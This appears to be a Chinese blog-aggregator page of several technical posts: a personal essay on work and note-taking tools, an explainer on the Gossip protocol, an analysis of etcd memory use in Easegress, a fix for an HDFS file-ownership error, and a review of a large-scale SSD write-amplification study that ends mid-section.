比如疫情导致的快递封了、街道封了这些如果搁在2019年的时候我们是无法想象的,但是就像”温水煮青蛙“似的,已经慢慢习惯或者能够忍受这种生活了。 类似这样我们现在无法想象的事情未来可能还有更多 ,只不过似乎短短的几年,我们就能够完全的依赖和习惯所拥有的一切罢了。

互联网的就业情况也是今年的一个热门话题,各个大厂裁员的消息、新闻经常挂在热搜上。倒不是贩卖焦虑或者阻挠读者进入互联网行业。近几日闲来无事看了红楼梦87版,互联网行业就好似大观园的热闹场景,看上去热闹繁华。资本就像书中的皇上一样,而我们则是大观园中的丫头、奴婢,尽管地位不高,但是一人得道鸡犬升天。相比园外的,福利自然是多了不少。但是天下没有不散的宴席,这个亘古不变的道理,身处其中的人可能却无法也不愿意相信。

略有不同的是,互联网行业可能会收缩,但不回完全崩塌与消亡,作为个人,无法左右大观园的兴衰荣辱,但只能提升个人的竞争能力,以求的在任何环境中都有一席生存罢了。

在字节我所在的组,很多大佬,经常看代码的时候在想的是,什么时候我可以独立的写出这样的代码,什么时候我可以独立做一个这样的需求,什么时候可以独立的负责一个项目。而这个目标的过程中则是提升自己的对“写代码”有更多的认识。

因此也不必过多的焦虑,聚焦于内,外界的影响则不会太大。

新闻与信息

现在的互联网平台几乎成为一个低效的平台了,它在过去的十几年里,让无数人了解了这个世界,但是也越来越多的生产垃圾,制造焦虑,降低效率,减少专注。

所谓的“言论自由”、“真理不怕辩论”到了互联网上则变成一锅乱糟糟,无论谁都可以不负责任掺上一脚,因此“被动接收”的信息很多有效,即使“主动搜寻”,这些网站也会无所不用其极的向你推荐,想让你也加入其中,换的“韭菜”的使用时间罢了。这些软件利用人的懒、贪的陋习,放大噪音,赚取流量。

因此必须提高自己的思考能力的基础是,提高自己自我寻求数据的能力。举个例子,有人说奥密克戎不具有过强的毒性,是大号流感,甚至是“天然的疫苗”,这些消息我们看到经常会自动的接收,而不会去主动甄别。同样也会有人说“奥密克戎”不是“大号流感”,而这些新闻的辨别通用需要去寻找更多的信息。如果找不到信息,那么对于最终的结论则应该保持中立的态度,或者不表示态度。

但是这是很难的,首先就像罗翔说的“如果你持一种怀疑主义立场,你所有的认识论都是不稳固的”,其次收集信息是很困难的,因此会有一批批的大V,他们会为我们整理信息,整理结论,这潜移默化的影响我们的思维,决定我们的判断。

因此能做的是尽可能多获得多方面的信息,使用科学的思维来进行判断。当然判断错误也是很正常的事情,但会比囫囵吞枣的接受信息要好。

关于新闻媒体,可以使用订阅的方式,推荐一些新闻媒体

生活管理

使用craft一年后,我开始使用了notion来开始新的资料管理了。craft 几乎是我使用过体验最好的写作工具的,但为什么要换呢,主要两点,一是没有提醒功能,二是craft左侧边栏文件夹组织方式导致了很多碎片化的小短文。

craft没有提醒功能,但是有单独每日安排页面,导致有一些任务写在了craft上面,有一些写在了todo软件里面,很分散。其次一年的写作后,会发现文件夹中很多文件都没有及时的整理,原因在于craft中组织文件位置,需要打开主界面然后再移动,不能在当前文章页面中移动。

而当初不选择notion的原因,则因为不是native、没有本地化。但是相比较上面的缺点,稍微慢一点的加载我也能忍受,并且性能上没有太大的损失。不仅如此,notion的文档即“文件夹”,可以无限嵌套,database 功能更是改变了很多文档管理的思路。

但是一个系统越是复杂,越是维护成本高,并且notion的时间提醒设置没有TODO软件灵活,有时间可以单独介绍notion的我的使用经历。

notion搭建个人看板  :size=70%

结尾

本来这篇文章的最后还写了一堆废话,最后全给删掉了,多行动方为正事,那么下次再见

by 友人C at June 05, 2022 09:41 AM

May 10, 2022

gaomf

Gossip 协议总结

Gossip 协议是一种弱最终一致性算法,主要用于解决大规模去中心化 P2P 网络中的数据一致性问题,其显著特点在于简单易于理解,并且不要求节点间均可以相互通信,只要一个节点能与部分节点通信,那它就可以把数据变更消息广播至整个联通网络中。

Gossip 协议最有名的应用包括 Redis-Cluster,Bitcoin,Cassandra 等。

历史

Gossip 协议最早发布于 1989 年的 ACM 会议论文 Epidemic Algorithms for Replicated Database Maintenance 中,论文中是用来解决分布式数据库多副本一致性问题的,这是一个最终一致性算法。

由于此算法仅能保证最终一致性而非强一致性,而且达到一致的时间不可控,因此目前更多的是被用于各种 P2P 应用中。

设计哲学

如同其名字一样,消息的传播就像谣言的传播一样,一传十,十传百,百传千千万。

基本原理

若一个节点需要向其他节点广播发送消息,则:

  1. 随机选择 N 个尚未发送过消息的邻接节点发送消息;
  2. 等待一段时间,再重复上述步骤;

当一个节点收到其他节点的广播消息时,更新自己的数据,并向除源节点外其他节点广播数据。

网络上诸多文章对 Gossip 协议的介绍基本就到此为止了,基本还会配上这样一张传播示意图:

然而根据上述如此抽象的描述可以说是没法搭建出实际有用的系统来的。粗略想想就会发现几个核心问题没有被解决:

  • 收到消息后该如何更新?直接无脑覆盖已有数据?那如果集群中有两个节点都在更新相同内容怎么处理?此时如何保证集群能达到最终一致性,而不会发生振荡?
  • 上述广播的过程是一直循环进行的还是发送完一轮就会停止?

其实在 Gossip 的原始论文中对这些问题是有更细致的讨论和处理的,Márk Jelasity 在 Self-organising software. From natural to artificial adaptation 一书中也有详细论述,二者基本是一致的。

详细实现方法

消息或数据的抽象

实际的消息或数据的形式是由具体应用决定的,不过不妨将其抽象为 K-V-T 集合,即若干条 Key -> Value + Time,这里的 Time 可以是实际的时间戳,也可以是其他类似 Version 的值。

更新数据时并不会直接无脑的去覆盖数据,而是会比较 Time:

1
2
3
4
5
Update(k, v, t) {
if (this.t < t) {
this.k.v = v;
}
}

Gossip 的论文中就是使用了时间戳来作为这个 Time,不过这感觉会存在一个问题:

如何保证全局时间戳的一致性呢?如果无法保证,那会不会造成节点间的不平等?即时间较晚那个节点相当于就被赋予了更高的优先级?

算法基本策略

Gossip 算法有三种基本策略:

  • Direct mail,直接邮寄
  • Anti-entropy,反熵传播
  • Rumor mongering (Complex Epidemics),谣言传播(复杂传染)

在后两种策略中,消息的交互通信模式又可以分为三种:

  • Push
  • Pull
  • Push/Pull

在下文描述中,使用 S 表示某一节点的邻接节点集合。

Direct mail

当某一节点有数据发生更新时,触发通知其他所有节点的流程:

1
2
3
for(s : S) {
s.Send(k, v, t);
}

收到数据的节点更新自己的数据,若成功更新继续重复上述流程通知自己的邻接节点。

此策略由于只发送一次数据,所以并不一定可靠。

Anti-entropy

此策略在 Márk Jelasity 的书中被称为 SI 模型,其工作流程是每个节点均周期性的选择部分邻接节点同步更新数据:

1
2
3
4
5
6
while(true) {
for (s : RandomChoice(S)) {
s.ResolveDifference(k, v, t);
}
delay(...);
}

三种消息交互模式的区别就在于 ResolveDifference 的实现方式不同:

  • Push 模式下节点 A 将 K-V-T 数据发送给节点 B,节点 B 更新自己的数据;
  • Pull 模式下节点 A 发起请求,将自己已有的 K-T 数据发给节点 B,节点 B 收到后与自己的数据进行比较,将更新或节点 A 没有的 K-V-T 数据发送给节点 A,节点 A 更新自己的数据;
  • Push/Pull 模式即为上述两种模式的结合,节点 A 推送 K-V-T 至节点 B,节点 B 更新完后把需要节点 A 更新的 K-V-T 再推送回节点 A,节点 A 再更新自己的数据。

上述描述中 Push/Pull 模式的流程与大部分文章中写的有所区别,在大部分文章中,Push/Pull 模式就是简单的 Pull + Push,此时会存在 3 次网络交互,此处进行了一些优化,如果先做 Push 再做 Pull 则可以减少一次网络交互。

在 Direct mail 形式下使用的就是 Push 通信模式,因此 Direct mail 策略可以视为是只执行一次的使用 Push 模式的 Anti-entropy 策略;

一般而言,显然是 Push/Pull 模式收敛得最快。

此方法中,发送的 K-V-T 根据论文的描述应该是数据全集,这就导致需要交互的数据量极大,甚至是完全不可行的。而且这个交互过程是一直都在进行永不停止的,这也会造成较大的带宽浪费。

Rumor mongering (Complex Epidemics)

针对 Anti-entropy 策略做了些改进,每个节点加入一个状态,可能取值有:

  • S: Susceptible, 不存在数据更新
  • I: Infective, 存在数据更新且需要广播
  • R: Removed, 存在数据更新,然而不广播

故此策略在 Márk Jelasity 的书中被称为 SIR 模型。

其中 S 状态是节点的初始值,仅当没有数据更新时才会处于此状态中,一旦发生了数据更新就永远也不可能回到此状态中。因此感觉此状态是为了理论的完美性才引入的,从实际实现的角度来看完全可以忽略此状态。

此外还需要再引入一条 Feedback 消息,当某个节点 B 收到节点 A 发来的 Push 消息后会回复节点 A 此消息。

此时状态迁移就会变得很简单,一旦发生数据更新(通过与其他节点交互或系统其他部分修改数据)就会成为 I 状态;一旦收到 Feedback 消息,则有一定概率会变成 R 状态;

当节点处于 I 状态时,行为与 Anti-entropy 策略相同;当节点处于 R 状态时,不进行周期性的节点同步更新。此策略的目的正是通过引入 R 状态来让节点间的交互可以在一段时间内停止。

上述变成 R 状态的一定概率在论文中用 $1/k$ 表示,此概率是怎么确定的呢?学术点的做法是根据集群规模理论计算出来,当然实际使用的时候一般都是试出来的,此概率越高则系统收敛速度越快,然而也越容易无法保证最终一致性。

进一步优化与工程实践

论文的内容就到此为止了,然而仔细揣摩下上述策略,其实有一些点是可以进一步优化的。

首先在消息的设计上,由于 Push/Pull 模式是最为完善的,可以均选用此策略,此时消息就可以简化为 PushReq & PullRes 两条。

Rumor mongering 策略中引入的 Feedback 消息在此设计下其实是多余的,一旦收到 PullRes 即等同于收到了 Feedback 消息。

另一个可能的优化点在于,PushReq 中携带的 K-V-T 是否可能不是全量数据,只发送增量数据,这么做需要思考以下一些难点:

  • 需要在 PushReq 中加入特殊的字段表明此请求是增量单向 Push,PullRes 中不需要回复缺失 K-V-T。然而加入此字段后会不会让整个系统只有 Push 而没有 Pull 的能力呢?还是除了初始化时其他时候不需要 Pull 也可以正常工作呢?
  • 如何记录哪些 K-V 是变化了的呢?一个想法是是否可以利用时间信息,比较上一次同步的时间与数据中的时间戳 T
  • 在数据会持续更新的情况下,会不会由于节点被错误的置为 R 状态而导致数据不一致?

新节点加入时,只需要发送空的 PushReq 即可,此时相当于 Pull 模式去主动拉数据。

适用场景及优缺点

Gossip 协议的适用场景相对比较确定:

  1. 集群没有中心节点,且各节点的地位是平等的;
  2. 集群拓扑结构是网状结构,且单个节点只能与部分邻接节点通信,不能与全部节点通信;
  3. 系统不要求强一致性,甚至最终一致性都不要求,只要求大部分节点能达到最终一致即可;

第 2 点是 Gossip 协议最显著的优点,在这样的去中心化拓扑结构下,其他很多一致性算法都是没法正常工作的,因此在 P2P 网络中 Gossip 协议取得了广泛的应用;而第 3 点则是 Gossip 协议最大的局限性,即它不是强一致性协议。

如果系统具有特性 1 & 2 而又要求强一致能否实现呢?好像还没有听过这样的算法……感觉可以搞个 Paxos + Gossip 的混合算法出来?这估计是个蛮有意思的东西吧……

Gossip 协议还有哪些显著优点呢:

  • 足够简单易于理解及实现;
  • 扩展性及容错性极好,节点的加入和删除可以很平滑的处理;
  • 对于大规模网络来说,传播速度足够快,且对集群规模的扩大不敏感,准确一点来说,消息传播所需次数是 $\log(N)$ 级别的。

至于它的缺点,主要就是前文所述的,它不是强一致协议,甚至都不能保证最终一致性。

参考资料

P2P 网络核心技术:Gossip 协议
Gossip 协议详解
一万字详解 Redis Cluster Gossip 协议
分布式系列 Gossip协议

May 10, 2022 02:37 PM

May 05, 2022

coolshell

ETCD的内存问题

今天跟大家分享一个etcd的内存大量占用的问题,这是前段时间在我们开源软件Easegress中遇到的问题,问题是比较简单的,但是我还想把前因后果说一下,包括,为什么要用etcd,使用etcd的用户场景,包括etcd的一些导致内存占用比较大的设计,以及最后一些建议。希望这篇文章不仅仅只是让你看到了一个简单的内存问题,还能让你有更多的收获。当然,也欢迎您关注我们的开源软件,给我们一些鼓励。

为什么要用ETCD

先说一下为什么要用etcd。先从一个我们自己做的一个API网关 – Easegress(源码)说起。

Easegress 是我们开发并开源的一个API应用网关产品,这个API应用网关不仅仅只是像nginx那样用来做一个反向代理,这个网关可以做的事很多,比如:API编排、服务发现、弹力设计(熔断、限流、重试等)、认证鉴权(JWT,OAuth2,HMAC等)、同样支持各种Cloud Native的架构如:微服务架构,Service Mesh,Serverless/FaaS的集成,并可以用于扛高并发、灰度发布、全链路压力测试、物联网……等更为高级的企业级的解决方案。所以,为了达到这些目标,在2017年的时候,我们觉得在现有的网关如Nginx上是无法演进出来这样的软件的,必需重新写一个(后来其他人也应该跟我们的想法一样,所以,Lyft写了一个Envoy。只不过,Envoy是用C++写的,而我用了技术门槛更低的Go语言)

另外,Easegress最核心的设计主要有三个:

  • 一是无第三方依赖的自己选主组集群的能力
  • 二是像Linux管道命令行那样pipeline式的插件流式处理(支持Go/WebAssembly)
  • 三是内置一个Data Store用于集群控制和数据共享。

对于任何一个分布式系统,都需要有一个强一制性的基于Paxos/Raft的可以自动选主机制,并且需要在整个集群间同步一些关键的控制/配置和相关的共享数据,以保证整个集群的行为是统一一致的。如果没有这么一个东西的话,就没有办法玩分布式系统的。这就是为什么会有像Zookeeper/etcd这样的组件出现并流行的原因。注意,Zookeeper他们主要不是给你存数据的,而是给你组集群的。

Zookeeper是一个很流行的开源软件,也被用于各大公司的生产线,包括一些开源软件,比如:Kafka。但是,这会让其它软件有一个依赖,并且在运维上带来很大的复杂度。所以,Kafka在最新的版本也通过内置了选主的算法,而抛弃了外挂zookeeper的设计。Etcd是Go语言社区这边的主力,也是kubernetes组建集群的关键组件。Easegress在一开始(5年前)使用了gossip协议同步状态(当时想的过于超前,想做广域网的集群),但是后发现这个协议太过于复杂,而且很难调试,而广域网的API Gateway也没遇到相应的场景。所以,在3年前的时候,为了稳定性的考量,我们把其换成了内嵌版本的etcd,这个设计一直沿用到今天。

Easegress会把所有的配置信息都放到etcd里,还包括一些统计监控数据,以及一些用户的自定义数据(这样用户自己的plugin不但可以在一条pipeline内,还可以在整个集群内共享数据),这对于用户进行扩展来说是非常方便的。软件代码的扩展性一直是我们追求的首要目标,尤其是开源软件更要想方设法降低技术门槛让技术易扩展,这就是为什么Google的很多开源软件都会选使用Go语言的原因,也是为什么Go正在取代C/C++的做PaaS基础组件的原因。

背景问题

好了,在介绍完为什么要用etcd以后,我开始分享一个实际的问题了。我们有个用户在使用 Easegress 的时候,在Easegress内配置了上千条pipeline,导致 Easegress的内存飙升的非常厉害- 10+GB 以上,而且长时间还下不来。

用户报告的问题是——

在Easegress 1.4.1 上创建一个HTTP对象,1000个Pipeline,在Easegres初始化启动完成时的内存占用大概为400M,运行80分钟后2GB,运行200分钟后达到了4GB,这期间什么也没有干,对Easegress没有进行过一次请求。

一般来说,就算是API再多也不应该配置这么多的处理管道pipeline的,通常我们会使用HTTP API的前缀把一组属于一个类别的API配置在一个管道内是比较合理的,就像nginx下的location的配置,一般来说不会太多的。但是,在用户的这个场景下配置了上千个pipeline,我们也是头一次见,应该是用户想做更细粒度的控制。

经过调查后,我们发现内存使用基本全部来自etcd,我们实在没有想到,因为我们往etcd里放的数据也没有多少个key,感觉不会超过10M,但不知道为什么会占用了10GB的内存。这种时候,一般会怀疑etcd有内存泄漏,上etcd上的github上搜了一下,发现etcd在3.2和3.3的版本上都有内存泄露的问题,但都修改了,而 Easegress 使用的是3.5的最新版本,另外,一般来说内存泄漏的问题不会是这么大的,我们开始怀疑是我们哪里误用了etcd。要知道是否误用了etcd,那么只有一条路了,沉下心来,把etcd的设计好好地看一遍。

大概花了两天左右的时间看了一下etcd的设计,我发现了etcd有下面这些消耗内存的设计,老实说,还是非常昂贵的,这里分享出来,避免后面的同学再次掉坑。

首当其冲是——RaftLog。etcd用Raft Log,主要是用于帮助follower同步数据,这个log的底层实现不是文件,而是内存。所以,而且还至少要保留 5000 条最新的请求。如果key的size很大,这 5000条就会产生大量的内存开销。比如,不断更新一个 1M的key,哪怕是同一个key,这 5000 条Log就是 5000MB = 5GB 的内存开销。这个问题在etcd的issue列表中也有人提到过  issue #12548 ,不过,这个问题不了了之了。这个5000还是一个hardcode,无法改。(参看 DefaultSnapshotCatchUpEntries 相关源码

// DefaultSnapshotCatchUpEntries is the number of entries for a slow follower
// to catch-up after compacting the raft storage entries.
// We expect the follower has a millisecond level latency with the leader.
// The max throughput is around 10K. Keep a 5K entries is enough for helping
// follower to catch up.
DefaultSnapshotCatchUpEntries uint64 = 5000

另外,我们还发现,这个设计在历史上etcd的官方团队把这个默认值从10000降到了5000,我们估计etcd官方团队也意识到10000有点太耗内存了,所以,降了一半,但是又怕follwer同步不上,所以,保留了 5000条……(在这里,我个人感觉还有更好的方法,至少不用全放在内存里吧……)

另外还有下面几项也会导致etcd的内存会增加

  1. 索引。etcd的每一对 key-value 都会在内存中有一个 B-tree 索引。这个索引的开销跟key的长度有关,etcd还会保存版本。所以B-tree的内存跟key的长度以及历史版本号数量也有关系。
  2. mmap。还有,etcd 使用 mmap 这样上古的unix技术做文件映射,会把他的blotdb的内存map到虚拟内存中,所以,db-size越大,内存越大。
  3. Watcher。watch也会占用很大的内存,如果watch很多,连接数多,都会堆积内存。

(很明显,etcd这么做就是为了一个高性能的考虑)

Easegress中的问题更多的应该是Raft Log 的问题。后面三种问题我们觉得不会是用户这个问题的原因,对于索引和mmap,使用 etcd 的 compact 和 defreg (压缩和碎片整理应该可以降低内存,但用户那边不应该是这个问题的核心原因)。

针对用户的问题,大约有1000多条pipeline,因为Easegress会对每一条pipeline进行数据统计(如:M1, M5, M15, P99, P90, P50等这样的统计数据),统计信息可能会有1KB-2KB左右,但Easegress会把这1000条pipeline的统计数据合并起来写到一个key中,这1000多条的统计数据合并后会导致出现一个平均尺寸为2MB的key,而5000个in-memory的RaftLog导致etcd要消耗了10GB的内存。之前没有这么多的pipeline的场景,所以,这个内存问题没有暴露出来。

于是,我们最终的解决方案也很简单,我们修改我们的策略,不再写这么大的Value的数据了,虽然以前只写在一个key上,但是Key的值太大,现在把这个大Key值拆分成多个小的key来写,这样,实际保存的数据没有发生变化,但是RaftLog的每条数据量就小了,所以,以前是5000条 2M(10GB),现在是5000条 1K(500MB),就这样解决了这个问题。相关的PR在这里 PR#542

总结

要用好 etcd,有如下的实践

  • 避免大尺寸的key和value,一方面会通过一个内存级的 Raft Log 占大量内存,另一方面,B-tree的多版本索引也会因为这样耗内存。
  • 避免DB的尺寸太大,并通过 compact和defreg来压缩和碎片整理降低内存。
  • 避免大量的Watch Client 和 Watch数。这个开销也是比较大的。
  • 最后还有一个,就是尽可能使用新的版本,无论是go语言还是etcd,这样会少很多内存问题。比如:golang的这个跟LInux内核心相关的内存问题 —— golang 1.12的版sget的是 MADV_FREE 的内存回收机制,而在1.16的时候,改成了 MADV_DONTNEED ,这两者的差别是,FREE表示,虽然进程标记内存不要了,但是操作系统会保留之,直到需要更多的内存,而 DONTNEED 则是立马回收,你可以看到,在常驻内存RSS 上,前者虽然在golang的进程上回收了内存,但是RSS值不变,而后者会看到RSS直立马变化。Linux下对 MADV_FREE 的实现在某些情况下有一定的问题,所以,在go 1.16的时候,默认值改成了 MADV_DONTNEED 。而 etcd 3.4 是用 来1.12 编译的。

最后,欢迎大家关注我们的开源软件! https://github.com/megaease/ 

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post ETCD的内存问题 first appeared on 酷 壳 - CoolShell.

by 陈皓 at May 05, 2022 08:13 AM

April 09, 2022

yangcongchufang

java.io.EOFException: Premature EOF: no length prefix available

问题

背景是做磁盘备份操作。 DFS数据从一块磁盘拷贝到另一块磁盘。 在完成拷贝后,也可以顺利启动HDFS服务。

但是在试图传一个文件到HDFS上时却发生了一个错误:

hdfs dfs -put : Exception in createBlockOutputStream and java.io.EOFException: Premature EOF: no length prefix available

使用fsck检查全盘,看各种HDFS监控指标,都提示健康。 用查HDFS坏块的方法检查HDFS也没有发现坏块。

陷入沉思……

看了一些相同报错,问题大概锁定肯定是某个块文件导致:

  1. https://stackoverflow.com/questions/34658876/java-io-eofexception-premature-eof-no-length-prefix-available
  2. https://stackoverflow.com/questions/36792590/spark-java-io-eofexception-premature-eof-no-length-prefix-available
  3. https://stackoverflow.com/questions/45769047/hdfs-dfs-put-exception-in-createblockoutputstream-and-java-io-eofexception-p
  4. https://stackoverflow.com/questions/38548363/java-io-eofexception-premature-eof-no-length-prefix-available-in-spark-on-hado

解决

继续测试put一个文件到HDFS上,回顾报错里提到了报错的blkID号:

16/07/23 20:05:21 WARN hdfs.DFSClient: DFSOutputStream ResponseProcessor exception  for block BP-532134798-128.110.152.143-1469321545728:blk_1073741865_1041

这是一个好线索,我尝试全盘扫描找到这个坏块。 到dfs.datanode.data.dir配置的磁盘目录下遍历检索发现确实存在这个block文件。 看起来没有什么不同。 但是使用ls -al详细列出文件时候,我发现了异样—— 文件所属用户和组与其它块文件不同。 使用find命令彻查,果然发现产生了大量root用户产生的block,但是其实正常文件权限组该是hdfs用户。

find ./ -group root

至此,我大概厘清了问题。迁移前后dfs数据目录部分文件权限发生了变化。

相应的解决办法很简单,将整个dfs.datanode.data.dir指向的目录批量改成正确的权限组即可:

sudo chown -R hdfs:hdfs /path/to/dfs

April 09, 2022 12:00 AM

April 08, 2022

gaomf

【读读论文】大规模真实线上环境下 SSD 寿命,写放大等特性研究

Operational Characteristics of SSDs in Enterprise Storage Systems: A Large-Scale Field Study

此论文为多伦多大学与 NetApp 合作发表在 FAST’22 上的论文,统计分析了 NetApp 线上两百多万块 SSD 在过去 4 年内的运行数据,以此总结了 SSD 寿命,写放大这两个核心运维特性在大规模线上环境下的真实情况及其影响因素。

看完最大的感想是,SSD 间差异是巨大的,垃圾厂家的 SSD 真是不能用……

引言

这篇论文作为一篇统计分析类文章之所以能发表在 FAST 上的重要原因在于其统计规模巨大且广泛,而且是真实线上环境,比之前同类研究中选取某个小范围特定场景来说有价值得多。NetApp 是一家美国的云存储公司,由于其客户的多样性,其底层存储系统同时提供了 NFS,iSCSI,NVMe_oF,S3 等多种接口,因此整体的应用负载特性相对较能反映各种不同应用的平均水平,而非某种特定场景。NetApp 使用的 SSD 规模也很大,总量约 200 万块,包括 3 个厂家,20 余个系列,同时存在 SAS & NVME 接口的(以 SAS 居多),具体情况见下表:

Table 1

I,II,III 代表三家生产商,论文里面并没有披露具体是哪三家,然而根据某些型号不太常见的容量,如 I-D 的 3.8T,II-H 的 30T,可以推测出 I 是 Sandisk,II 是 Samsung,至于 III 由于只有一个 III-A 数量太少,就不知道是哪家了。上表除最后 II-X, II-Y, II-Z 为 NVME 接口外其余 SSD 均为 SAS 接口的,可以推测从数量上看 SAS SSD 也占了绝大部分。不过 SSD 的接口类型对其寿命,写放大应该是没有什么影响的,故尽管未来 NVME SSD 会越来越多,这篇论文依然会有参考价值。

上层应用从使用场景上来看可以分为两大类:

  • 作为 HDD 盘的高速缓存层使用,简称为 WBC 应用(Write-Back Cache)
  • 直接构成全 SSD 阵列,简称为 AFF 应用(All Flash Fabric-attached-storage)

这两类系统的读写特性差异较大,因此论文中基本都是将其分开进行讨论。

论文想要回答的核心问题包括:

  • 实际生产环境中的读写比例是怎样的?
  • 实际生产环境中真实的写入速率到底有多快?SSD 的寿命能有多长?未来 QLC 寿命会更短,它能满足数据中心及企业级应用的需求么?
  • 实际生产环境中的 SSD 写放大会有多严重?之前学术界的研究分析是否符合实际情况?
  • 实际生产环境中 SSD 的损耗平均做得好不好?
  • SSD 的写放大从理论上分析会和很多因素有关,那在实际生产环境中,这些因素的影响到底有多大呢?哪些因素才是主要的呢?

下面我们就跟随着作者的脚步来回答下这些问题吧。

统计数据分析结果

读写比例分析

Figure 9

  • 大部分盘读都比写多
  • AFF 应用中读写比中位数约为 3.6:1,95 分位值为 61:1
  • WBC 应用中读写比中位数约为 4.1:1,95 分位值为 150:1
  • 可以看到 WBC 应用的读写比例比 AFF 应用更高,且 95 分位值差距很大;对于 WBC 应用来说,更高的读写比是期望中的,这也就意味着更高的 Cache 使用率

Facebook,Microsoft,Alibaba 的统计数据中也是读比写多,不过 NetApp 这次公开的统计数据读写量远高于其余几家公开的统计数据:

Figure 11

应用写入速度分析

SSD 的寿命和写入量有密切关系,DWPD 这一指标就是厂家给出的推荐写入速度上限,其含义为每天可以写入 SSD 容量几倍的数据(Drive Writes Per Day),大部分企业级 SSD 的 DWPD 值为 1 或 3,部分使用 MLC 颗粒的 SSD 会更高,可达到 10 以上。未来使用 QLC 颗粒的 SSD DWPD 大概率会下降到 1 以下。那实际生产环境中 DWPD 会到多少呢?来看看数据吧。

Figure 1

  • 不同盘的 DWPD 值分布很广,且长尾比较明显。整体来看中位数只有 0.36 左右,小于目前大部分 SSD 的 DWPD 值上限;然而也有 7% 左右的 SSD DWPD 超过了 3;2% 左右的超过了 10
  • WBC 应用比 AFF 应用写入量更高,中位数 WBC 是 AFF 的 3.4 倍,99 分位值更是达到了 10.6 倍
  • WBC 应用中 DWPD 值的分布也更宽广,这也就意味着其运维会更有挑战性
  • 再来看下容量和产品型号的问题,这里其实评估的并不是容量和产品型号本身,而是负载类型的影响。由于 NetApp 会使用不同容量的和型号的 SSD 去搭建不同的产品,为不同的客户提供服务,因此型号的差异就可以视为不同应用负载的差异。可以看到不同应用负载下 DWPD 值差异也很大

以上两部分内容其实并没有太多干货。读多写少是大部分互联网业务的典型场景;不同负载的写入量差异很大也是很正常的。

NAND 使用损耗分析

SSD 除了 DWPD 外还有个重要指标是 PE Cycle Limit,即最大擦写循环次数(Program-Erase Cycle),这是决定 SSD 寿命的根本性因素,SSD 寿命预测基本就是根据当前 PE Cycle 与最大 PE Cycle Limit 的比值得出的。因此作者引入了一个年损耗率的概念:

NAND Usage Rate per Year

显而易见,此值的含义就是每年会用去 SSD 总寿命的百分比。实际统计结果如下:

Figure 2

  • 绝大部分 SSD 年损耗率其实是非常低的,AFF 应用中 60% 的 SSD 年损耗率小于 1%,也就是这部分 SSD 用 100 年才会报废
  • 尽管 WBC 应用的写入量比 AFF 应用要高不少,然而二者的年损耗率其实是差不多的,原因是 WBC 应用的写放大系数要低于 AFF 应用,这抵消了其写入量更高的影响
  • 上图中可以很明显的看到几条极为不和谐的曲线,即 I-C,I-D,I-E,I-B 这几个型号的 SSD 有着远超其他 SSD 的年损耗率,然而其写入特性并没有和其他 SSD 有明显区别。这 4 个极为垃圾的 SSD 型号都是来自 Sandisk 的,而且 Sandisk 一共也就 5 个型号……😂 造成这一现象的原因是 Sandisk 的 SSD 有着远超其他厂商 SSD 的写放大系数,这一点下面再来具体分析

根据以上数据我们可以来评估下未来 QLC 的寿命是否能满足数据中心及企业级应用的需求了,这在论文作者的 PPT 里面有计算结果:

QLC Projection

  • 未来 QLC SSD 的 PE Cycle Limit 预计在 1k ~ 3k 之间
  • 如果按 5 年寿命计算,约有 86% ~ 95% 的盘可以用 QLC 替代
  • 如果按 7 年寿命计算,约有 82% ~ 92% 的盘可以用 QLC 替代
  • 最终结论:系统可以整体迁移至 QLC 上

写放大系数分析

写放大系数(Write Amplification Factor, WAF)是影响 SSD 寿命及性能的关键指标,SSD 存在写放大的原因是其内部存在诸多背景任务(housekeeping tasks),如垃圾回收(GC),损耗平均(Wear Leveling)等。学术界和产业界对于如何控制写放大这一问题都做了很多工作,然而实际 SSD 产品这一点做得究竟如何呢?已有的统计研究都不够广泛,规模也相对较小,因此这篇论文的研究就显得比较有价值了。下面就来看下作者的统计结果吧:

Figure 3

  • 此研究中实际观察到的 WAF 比之前已有研究中观察到的(1.x 左右)要高得多,96% 的 SSD WAF 都超过了 1.5,中位数达到了 6 左右
  • WAF 的分布范围很广,10% 分位值仅为 2,中位数 6,然而 99% 分位值达到了 480。这说明不同应用和设备的 WAF 差异性很大。WAF 的影响因素将在下文详细分析
  • 这里又要把 Sandisk 几个型号的 SSD 拿出来重点讨论下了,可以看到它们的 WAF 远高于其他厂商的 SSD,中位数竟然就达到了 100 左右(已经超出上图的范围了,论文中直接给出了具体值)。从上文的应用写入速度分析中可以看到,Sandisk 的 SSD 写入量并没有更高,实际使用上也没有任何特殊的地方,所以不能用应用负载差异性来解释此问题,这是 Sandisk SSD 自己的锅跑不掉了
  • 作者对这一明显异常的问题进行深入研究后发现,Sandisk 的 SSD 之所以有这么高 WAF 的原因在于其背景任务执行得极为频繁,可以说是一有空就开始做背景任务了。然后,最搞笑的来了,这些背景任务是在干嘛呢?既不是在做 GC 也不是在进行损耗平均(绝大部分情况下这两部分是 WAF 的主要来源),而是在极为激进的重写 Block。那为什么要重写呢?因为频繁检测到 Block ECC 错误了!此时不得不重写整个 Block 来避免数据丢失……🤣

这感觉是全文最大的亮点啊,看到这简直是惊呆了,消费级不知名小厂做的 SSD 很垃圾不能用也就罢了,Sandisk 好歹也是个国际大厂了,做的企业级 SSD 也能这么垃圾简直是万万没想到啊……这些 SSD 还都是 MLC 颗粒的,这么糟糕的表现是 Flash 颗粒用得太差还是 FTL 固件写得水平太差就不得而知了……


最后来看下应用负载特性与 WAF 的关系:

  • 同一个型号的 SSD 也表现出了很大的 WAF 差异,其 95% 分位值是中位数的 9 倍以上。同一型号的盘会被用在不同应用上,因此合理的解释就是不同应用负载情况下 WAF 会表现出很大的差异性
  • WBC 应用的 WAF 比 AFF 应用要小 ,这也就是前文观察到的,尽管 WBC 写入量要高更多,然而二者实际 SSD 损耗速度差不多的原因了。因此可以说 WBC 应用在某种程度上对 SSD 更为友好

学术界由于没有那么多真实 SSD 可以用,因此在研究 SSD WAF 时往往使用仿真的方法,然而根据本文的结论,这些仿真得到的 WAF 都太小了,绝大部分已有理论研究论文中 WAF 最高也就 10 左右,这仅仅只是 NetApp 真实环境中的 60% 分位值。作者认为造成这一差异的主要原因有:

  • 理论研究所使用的 IO Trace 数据太古老了,已经没法反映当今实际运行在 SSD 上的应用负载。此外古老的 IO Trace 数据很多是基于 HDD 盘抓取的,不会存在 TRIM 等 SSD 特有命令
  • SSD 仿真软件(如 FEMU)对 FTL 固件的行为仿真存在很大困难,很有可能使用的只是理想模型,这与实际行为差异会很大,且 FTL 固件每家厂商,甚至是不同型号都是有区别的,这让仿真的准确度变得更低了

损耗平均效果分析

